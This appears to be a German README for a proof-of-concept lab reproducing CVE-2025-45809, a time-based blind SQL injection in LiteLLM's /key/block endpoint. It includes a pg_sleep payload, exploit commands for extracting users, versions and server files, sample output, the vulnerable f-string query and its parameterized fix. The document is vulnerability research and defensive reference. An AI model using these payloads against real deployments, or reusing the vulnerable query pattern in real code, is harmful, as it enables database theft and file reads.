
Code to reproduce the vulnerability individually
/key/block (zeitbasierte Blind-SQLi)Der
key-Parameter in den Endpunkten/key/blockund/key/unblockvon LiteLLM v1.65.4 (vor v1.81.0) weist eine SQL-Injection-Schwachstelle auf. Angreifer können mithilfe einer zeitbasierten Blind-Injection Datenbankinhalte extrahieren und Serverdateien auslesen.
| Feld | Wert |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Betroffen | LiteLLM < 1.81.0 (bestätigt in v1.65.4) |
| Behoben | v1.81.0+ (Parameterisierte Abfrage als Fix) |
| Veröffentlicht | 2025-07-03 |
| Entdeckt von | shadia0 (via Huntr bounty) |
| Links | NVD • Huntr • Snyk |
Die Endpunkte /key/block und /key/unblock von LiteLLM dienen zum Sperren/Entsperren von API-Schlüsseln. Bei der Verarbeitung des key-Parameters wird die Benutzereingabe direkt in die SQL-Abfrage eingefügt (mittels f-string-Formatierung), ohne parametrisierte Abfragen zu verwenden, was zu einer SQL-Injection-Schwachstelle führt.
| Endpunkt | Methode | Injizierter Parameter |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep(), um die Injection durch die Antwortzeit zu bestätigen.pg_read_file().# 1. PostgreSQL + verwundbare LiteLLM-Instanz starten
docker compose up -d
# 2. Abhängigkeiten installieren
pip install -r requirements.txt
# 3. SQL-Injection bestätigen (pg_sleep-Verzögerung erkennen)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Hinweis: Beim ersten Ausführen des Exploits wird automatisch
/key/generateaufgerufen, um einen API-Schlüssel zu erstellen. Dadurch wird die Prisma-DatenbanktabelleKeyinitialisiert. Dies ist eine notwendige Voraussetzung, damit der Endpunkt/key/blockden verwundbaren SQL-Abfragepfad erreichen kann. Andernfalls würde/key/blocksofort einen 401-Fehler zurückgeben, da dieKey-Tabelle nicht existiert, und die Injection könnte nicht ausgelöst werden.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### Erwartete Ausgabe
**Injektionsbestätigung (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**Behobene Version lehnt Injection ab:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## Technische Details
### Verwundbarer Code
In LiteLLM v1.65.4 ähnelt die Logik des Endpunkts `/key/block` dem folgenden vereinfachten Beispiel:
```python
# Verwundbarer Code (v1.65.4) — Verwendung von f-string für SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# Benutzereingabe direkt in SQL-Abfrage eingefügt!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
Angreifer injizieren eine Zeitverzögerungsfunktion von PostgreSQL in den key-Parameter:
' OR (SELECT pg_sleep(5)) IS NULL --
Die zusammengefügte SQL-Abfrage lautet dann:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Testszenario | Antwortzeit | Schlussfolgerung |
|---|---|---|
| Normale Anfrage (key=test) | ~0.01s | Basislinie |
| pg_sleep(3) | ~3.01s | Injektion wirksam |
| pg_sleep(5) | ~5.01s | Injektion bestätigt |
LiteLLM v1.65.4 verwendet Prisma ORM zur Datenbankverwaltung. Die Tabelle Key wird lazy erstellt – erst beim ersten Aufruf von /key/generate zur Erstellung eines API-Schlüssels existiert sie in PostgreSQL. Dies führt dazu, dass die Schlüsselüberprüfungsabfrage (WHERE key='{input}') des Endpunkts /key/block vor Erreichen des verwundbaren SQL-Codepfads einen 401-Fehler aufgrund der nicht vorhandenen Tabelle zurückgibt.
Das aktuelle PoC behandelt dieses Problem automatisch: Das Exploit-Skript ruft vor dem Senden der Injection-Payload zunächst /key/generate auf, um einen API-Schlüssel zu erstellen und die Datenbanktabelle bereitzustellen.
Hinweis: Nach dem ersten Start des Containers muss etwa 30–60 Sekunden gewartet werden (Prisma CLI-Installation + Datenbankinitialisierung). Führen Sie das Exploit erst aus, wenn in den Logs
Uvicorn running on http://0.0.0.0:4000erscheint.
CVE-2025-45809/
├── README.md # Diese Datei
├── docker-compose.yml # PostgreSQL + verwundbare/behobene LiteLLM-Instanz
├── litellm_config.yaml # LiteLLM-Konfiguration mit DB-Verbindung
├── requirements.txt # Python-Abhängigkeiten
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Haupt-Exploit-Skript
│ └── payload.py # SQL-Injection-Payload-Builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
In v1.81.0 wurde der Fehler behoben, indem parametrisierte Abfragen (Prepared Statements) anstelle von f-string-Konkatenation verwendet werden:
# Nach dem Fix — Verwendung parametrisierter Abfragen
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # Sichere Parameterbindung
### Abhilfemaßnahmen
1. **Upgrade** von LiteLLM auf **v1.81.0+**
2. Verwendung **parametrisierter Abfragen** anstelle von Zeichenkettenverkettung
3. Strenge Eingabevalidierung des `key`-Parameters
4. Bereitstellung einer WAF zur Blockierung von SQL-Injection-Mustern
---
## Referenzen
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2025-45809)
- [Huntr Bounty](https://huntr.com/bounties/3e6e4d40-b06a-4f54-a3ed-cc93584b12f3)
- [Snyk Advisory](https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-10598343)
- [GitHub PoC (shadia0/Patienc)](https://github.com/shadia0/Patienc/blob/main/litellm/SQL_injection.md)
---
> **Haftungsausschluss:** Dieser Inhalt dient ausschließlich **zu Bildungszwecken und für autorisierte Sicherheitstests.**